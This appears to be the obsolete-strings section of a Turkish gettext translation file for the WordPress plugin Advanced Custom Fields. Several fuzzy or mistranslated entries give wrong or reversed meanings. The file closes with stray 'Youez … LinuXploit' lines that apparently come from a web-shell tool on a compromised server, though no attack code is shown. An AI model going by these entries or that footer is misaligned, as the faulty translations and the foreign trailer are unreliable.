#~ msgid "The Group field provides a simple way to create a group of fields."
#~ msgstr "Grup alanı birden çok alanı basitçe gruplamanıza olanak sağlar."

#~ msgid "oEmbed Field"
#~ msgstr "oEmbed alanı"

#~ msgid ""
#~ "The oEmbed field allows an easy way to embed videos, images, tweets, "
#~ "audio, and other content."
#~ msgstr ""
#~ "oEmbed alanı videolar, görseller, tweetler, ses ve diğer içeriği kolayca "
#~ "gömebilmenizi sağlar."

#~ msgid "Clone Field"
#~ msgstr "Kopya alanı"

#~ msgid "The clone field allows you to select and display existing fields."
#~ msgstr ""
#~ "Kopya alanı var olan alanları seçme ve görüntülemenize olanak sağlar."

#~ msgid "More AJAX"
#~ msgstr "Daha fazla AJAX"

#~ msgid "More fields use AJAX powered search to speed up page loading."
#~ msgstr ""
#~ "Sayfa yüklenmesini hızlandırmak adına daha çok alan AJAX ile "
#~ "güçlendirilmiş arama kullanıyor."

#~ msgid ""
#~ "New auto export to JSON feature improves speed and allows for "
#~ "syncronisation."
#~ msgstr ""
#~ "Yeni otomatik JSON dışarı aktarma özelliği ile hız artıyor ve "
#~ "senkronizasyona imkan sağlanıyor."

#~ msgid "Easy Import / Export"
#~ msgstr "Kolayca içe / dışa aktarma"

#~ msgid "Both import and export can easily be done through a new tools page."
#~ msgstr ""
#~ "İçeri ve dışarı aktarma işlemleri yeni araçlar sayfasından kolayca "
#~ "yapılabilir."

#~ msgid "New Form Locations"
#~ msgstr "Yeni form konumları"

#~ msgid ""
#~ "Fields can now be mapped to menus, menu items, comments, widgets and all "
#~ "user forms!"
#~ msgstr ""
#~ "Alanlar artık menülere, menü elemanlarına, yorumlara, bileşenlere ve tüm "
#~ "kullanıcı formlarına eşlenebiliyor!"

#~ msgid "More Customization"
#~ msgstr "Daha fazla özelleştirme"

#~ msgid ""
#~ "New PHP (and JS) actions and filters have been added to allow for more "
#~ "customization."
#~ msgstr ""
#~ "Daha fazla özelleştirmeye izin veren yeni PHP (ve JS) eylem ve filtreleri "
#~ "eklendi."

#~ msgid "Fresh UI"
#~ msgstr "Taze arayüz"

#~ msgid ""
#~ "The entire plugin has had a design refresh including new field types, "
#~ "settings and design!"
#~ msgstr ""
#~ "Eklentinin tasarımı yeni alan tipleri, ayarlar ve tasarımı da içerecek "
#~ "şekilde yenilendi!"

#~ msgid "New Settings"
#~ msgstr "Yeni ayarlar"

#~ msgid ""
#~ "Field group settings have been added for Active, Label Placement, "
#~ "Instructions Placement and Description."
#~ msgstr ""
#~ "Etkin, etiket yerleşimi, talimatlar yerleşimi ve açıklama için alan grubu "
#~ "ayarları eklendi."

#~ msgid "Better Front End Forms"
#~ msgstr "Daha iyi ön yüz formları"

#~ msgid ""
#~ "acf_form() can now create a new post on submission with lots of new "
#~ "settings."
#~ msgstr ""
#~ "acf_form() artık gönderim halinde bir sürü yeni ayar ile yeni bir yazı "
#~ "oluşturabilir."

#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS."
#~ msgstr "Form doğrulama artık sadece JS yerine PHP + AJAX ile yapılıyor."

#~ msgid "Moving Fields"
#~ msgstr "Taşınabilir alanlar"

#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents."
#~ msgstr ""
#~ "Yeni gruplama becerisi, bir alanı gruplar ve üst alanlar arasında "
#~ "taşıyabilmenize olanak sağlar."

#~ msgid "We think you'll love the changes in %s."
#~ msgstr "%s sürümündeki değişiklikleri seveceğinizi düşünüyoruz."

#~ msgid "Normal"
#~ msgstr "Normal"

#~ msgid "Fancy"
#~ msgstr "Süslü"

#~ msgid "Add-ons"
#~ msgstr "Eklentiler"

#~ msgid "Download & Install"
#~ msgstr "İndir ve yükle"

#~ msgid "Installed"
#~ msgstr "Yüklendi"

#~ msgid "Shown when entering data"
#~ msgstr "Veri girilirken gösterilir"

#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

#~ msgid "%s field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "%s alan grubu eşitlendi."
#~ msgstr[1] "%s alan grubu eşitlendi."

#~ msgid "<b>Error</b>. Could not load add-ons list"
#~ msgstr "<b>Hata</b>. Eklenti listesi yüklenemedi"

#~ msgid "Parent fields"
#~ msgstr "Üst alanlar"

#~ msgid "Sibling fields"
#~ msgstr "Kardeş alanlar"

#~ msgid "Error validating request"
#~ msgstr "İstek doğrulanırken hata oluştu"

#~ msgid "Advanced Custom Fields Database Upgrade"
#~ msgstr "Advanced Custom Fields veritabanı güncellemesi"

#~ msgid ""
#~ "Before you start using the new awesome features, please update your "
#~ "database to the newest version."
#~ msgstr ""
#~ "Yeni muhteşem özellikleri kullanmadan önce lütfen veritabanınızı en yeni "
#~ "sürüme güncelleyin."

#~ msgid ""
#~ "To help make upgrading easy, <a href=\"%s\">login to your store account</"
#~ "a> and claim a free copy of ACF PRO!"
#~ msgstr ""
#~ "Yükseltmeyi kolaylaştırmak için <a href=\"%s\">mağaza hesabınıza</a> "
#~ "giriş yapın ve bir adet ücretsiz ACF PRO kopyası edinin!"

#~ msgid "Under the Hood"
#~ msgstr "Kaputun altında"

#~ msgid "Smarter field settings"
#~ msgstr "Daha akıllı alan ayarları"

#~ msgid "ACF now saves its field settings as individual post objects"
#~ msgstr "ACF artık alan ayarlarını münferit yazı nesneleri olarak saklıyor"

#~ msgid "Better version control"
#~ msgstr "Daha iyi sürüm kontrolü"

#~ msgid ""
#~ "New auto export to JSON feature allows field settings to be version "
#~ "controlled"
#~ msgstr ""
#~ "Otomatik JSON dışarı aktarma özelliği sayesinde artık alan ayarları sürüm "
#~ "kontrolü ile yönetilebilir"

#~ msgid "Swapped XML for JSON"
#~ msgstr "XML yerine JSON kullanımına geçildi"

#~ msgid "Import / Export now uses JSON in favour of XML"
#~ msgstr "İçeri / dışarı aktarma artık XML yerine JSON kullanıyor"

#~ msgid "New Forms"
#~ msgstr "Yeni formlar"

#~ msgid "A new field for embedding content has been added"
#~ msgstr "Gömülü içerik için yeni bir alan eklendi"

#~ msgid "New Gallery"
#~ msgstr "Yeni galeri"

#~ msgid "The gallery field has undergone a much needed facelift"
#~ msgstr "Galeri alanı oldukça gerekli bir makyaj ile yenilendi"

#~ msgid "Relationship Field"
#~ msgstr "İlişkili alan"

#~ msgid ""
#~ "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
#~ msgstr "'Filtreler' için yeni ilişki ayarı (Arama, yazı tipi, taksonomi)"

#~ msgid "New archives group in page_link field selection"
#~ msgstr "Yeni arşivler page_link alanı seçiminde gruplanır"

#~ msgid "Better Options Pages"
#~ msgstr "Daha iyi seçenekler sayfası"

#~ msgid ""
#~ "New functions for options page allow creation of both parent and child "
#~ "menu pages"
#~ msgstr ""
#~ "Seçenekler sayfası için yeni işlevler sayesinde hem üst hem alt menü "
#~ "sayfaları oluşturulabiliyor"

#~ msgid "Export Field Groups to PHP"
#~ msgstr "Alan gruplarını PHP için dışa aktar"

#~ msgid "Download export file"
#~ msgstr "Dışarı aktarma dosyasını indir"

#~ msgid "Generate export code"
#~ msgstr "Dışarı aktarma kodu oluştur"

#~ msgid "Locating"
#~ msgstr "Konum bulunuyor"

#~ msgid "Error."
#~ msgstr "Hata."

#~ msgid "No embed found for the given URL."
#~ msgstr "Verilen adres için gömülecek bir şey bulunamadı."

#~ msgid "Minimum values reached ( {min} values )"
#~ msgstr "En düşün değerlere ulaşıldı ( {min} değerleri )"

#~ msgid ""
#~ "The tab field will display incorrectly when added to a Table style "
#~ "repeater field or flexible content field layout"
#~ msgstr ""
#~ "Bir tablo stili tekrarlayıcı ya da esnek içerik alanı yerleşimi "
#~ "eklendiğinde sekme alanı yanlış görüntülenir"

#~ msgid ""
#~ "Use \"Tab Fields\" to better organize your edit screen by grouping fields "
#~ "together."
#~ msgstr ""
#~ "“Sekme alanları”nı kullanarak düzenleme ekranında alanları gruplayıp daha "
#~ "kolay organize olun."

#~ msgid ""
#~ "All fields following this \"tab field\" (or until another \"tab field\" "
#~ "is defined) will be grouped together using this field's label as the tab "
#~ "heading."
#~ msgstr ""
#~ "Bu “sekme alanı”nı takip eden (ya da başka bir “sekme alanı” tanımlıysa) "
#~ "tüm alanlar sekmenin başlığını etiket olarak kullanarak "
#~ "gruplandırılacaklar."

#~ msgid "None"
#~ msgstr "Yok"

#~ msgid "Taxonomy Term"
#~ msgstr "Taksonomi terimi"

#~ msgid "remove {layout}?"
#~ msgstr "{layout} kaldırılsın mı?"

#~ msgid "This field requires at least {min} {identifier}"
#~ msgstr "Bu alan için en az gereken {min} {identifier}"

#~ msgid "Maximum {label} limit reached ({max} {identifier})"
#~ msgstr "En yüksek {label} sınırına ulaşıldı ({max} {identifier})"

#~ msgid "Getting Started"
#~ msgstr "Başlarken"

#~ msgid "Field Types"
#~ msgstr "Alan Tipleri"

#~ msgid "Functions"
#~ msgstr "Fonksiyonlar"

#~ msgid "Actions"
#~ msgstr "Eylemler"

#~ msgid "Tutorials"
#~ msgstr "Örnekler"

#~ msgid "Error"
#~ msgstr "Hata"

#, fuzzy
#~| msgid "This field requires at least {min} {identifier}"
#~ msgid "1 field requires attention."
#~ msgid_plural "%d fields require attention."
#~ msgstr[0] "Bu alan gerektirir, en azından {min} {identifier}"
#~ msgstr[1] "Bu alan gerektirir, en azından {min} {identifier}"

#~ msgid "See what's new in"
#~ msgstr "Neler yeni gözat"

#~ msgid "'How to' guides"
#~ msgstr "Nasıl Yapılır"

#~ msgid "Created by"
#~ msgstr "Oluşturan"

#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>Başarılı</b>. İçe aktarma aracı %s alan gruplarını aktardı: %s"

#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>Uyarı </b>. İçe aktarma aracı zaten var olan %s alan gruplarını tespit "
#~ "etti. Bu kayıtlar gözardı edildi: %s"

#~ msgid "Upgrade"
#~ msgstr "Yükselt"

#~ msgid "Drag and drop to reorder"
#~ msgstr "Yeniden sıralama için sürükle ve bırak"

#~ msgid "See what's new"
#~ msgstr "Neler yeni görün"

#~ msgid "Show a different month"
#~ msgstr "Başka bir ay göster"

#~ msgid "Return format"
#~ msgstr "Dönüş formatı"

#~ msgid "uploaded to this post"
#~ msgstr "Bu yazıya yükledi"

#~ msgid "File Size"
#~ msgstr "Dosya Boyutu"

#~ msgid "No File selected"
#~ msgstr "Dosya seçilmedi"

#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr "Tüm metin ilk wp fonksiyonu sayesinde geçilecek unutmayın"

#~ msgid "Warning"
#~ msgstr "Uyarı"

#~ msgid "eg. Show extra content"
#~ msgstr "örn. Ekstra içerik göster"

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "<b> Bağlantı Hatası </ b>. Üzgünüm, lütfen tekrar deneyin"

#~ msgid "Save Options"
#~ msgstr "Ayarları Kaydet"

#~ msgid "License"
#~ msgstr "Lisans"

#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "Güncelleştirmeleri kilidini açmak için, aşağıdaki lisans anahtarını "
#~ "girin. Eğer bir lisans anahtarı yoksa, lütfen"

#~ msgid "details & pricing"
#~ msgstr "detaylar & fiyatlandırma"

#~ msgid "Hide / Show All"
#~ msgstr "Gizle / Hepsini Göster"

#~ msgid "Show Field Keys"
#~ msgstr "Alan Anahtarlarını Göster"

#~ msgid "Pending Review"
#~ msgstr "İnceleme Bekliyor"

#~ msgid "Draft"
#~ msgstr "Taslak"

#~ msgid "Private"
#~ msgstr "Gizli"

#~ msgid "Revision"
#~ msgstr "Revizyon"

#~ msgid "Trash"
#~ msgstr "Çöp"

#, fuzzy
#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr "Alan grupları oluşturulma sırası <br/> sırayla alttan yukarı"

#~ msgid "ACF PRO Required"
#~ msgstr "ACF PRO Gerekli"

#~ msgid ""
#~ "We have detected an issue which requires your attention: This website "
#~ "makes use of premium add-ons (%s) which are no longer compatible with ACF."
#~ msgstr ""
#~ "Biz dikkat gerektiren bir sorunu tespit ettik: Bu ​​web sitesi artık ACF "
#~ "ile uyumlu olan eklentileriyle (%s) kullanımını kolaylaştırır."

#~ msgid ""
#~ "Don't panic, you can simply roll back the plugin and continue using ACF "
#~ "as you know it!"
#~ msgstr ""
#~ "Panik yapmayın, sadece eklenti geri almak ve bunu bildiğiniz gibi ACF "
#~ "kullanmaya devam edebilirsiniz!"

#~ msgid "Roll back to ACF v%s"
#~ msgstr "ACF v %s ye geri al"

#~ msgid "Learn why ACF PRO is required for my site"
#~ msgstr "ACF PRO Sitem için neden gereklidir öğrenin"

#~ msgid "Update Database"
#~ msgstr "Veritabanını Güncelle"

#~ msgid "Data Upgrade"
#~ msgstr "Veri Yükseltme"

#~ msgid "Data upgraded successfully."
#~ msgstr "Veri başarıyla yükseltildi."

#~ msgid "Data is at the latest version."
#~ msgstr "Verinin en son sürümü."

#~ msgid "1 required field below is empty"
#~ msgid_plural "%s required fields below are empty"
#~ msgstr[0] "%s Gerekli alan boş"

#~ msgid "Load & Save Terms to Post"
#~ msgstr "Yazı Yükleme ve Kaydet Şartları"

#~ msgid ""
#~ "Load value based on the post's terms and update the post's terms on save"
#~ msgstr ""
#~ "Yükleme değeri yazılar için terimlere dayalı ve kaydetme üzerindeki "
#~ "yazılar için şartlarını güncelleyecek"

#, fuzzy
#~ msgid "image"
#~ msgstr "Resim"

#, fuzzy
#~ msgid "expand_details"
#~ msgstr "Ayrıntıları Genişlet"

#, fuzzy
#~ msgid "collapse_details"
#~ msgstr "Detayları Daralt"

#, fuzzy
#~ msgid "relationship"
#~ msgstr "İlişkili"

#, fuzzy
#~ msgid "title_is_required"
#~ msgstr "Alan grubu için başlık gerekli"

#, fuzzy
#~ msgid "move_field"
#~ msgstr "Alanı Taşı"

#, fuzzy
#~ msgid "flexible_content"
#~ msgstr "Esnek İçerik"

#, fuzzy
#~ msgid "gallery"
#~ msgstr "Galeri"

#, fuzzy
#~ msgid "repeater"
#~ msgstr "Tekrarlayıcı"

#, fuzzy
#~ msgid "Controls how HTML tags are rendered"
#~ msgstr "Yeni satırlar nasıl oluşturulacağını denetler"

#~ msgid "Custom field updated."
#~ msgstr "Özel alan güncellendi."

#~ msgid "Custom field deleted."
#~ msgstr "Özel alan silindi."

#~ msgid "Field group duplicated! Edit the new \"%s\" field group."
#~ msgstr "Alan grup çoğaltıldı! Yeni  \"%s \" alan grubu düzenleyin."

#~ msgid "Import/Export"
#~ msgstr "İçe/Dışa Aktar"

#~ msgid "Column Width"
#~ msgstr "Sütun Genişliği"

#~ msgid "Attachment Details"
#~ msgstr "Ek Detayları"

Youez - 2016 - github.com/yon3zu
LinuXploit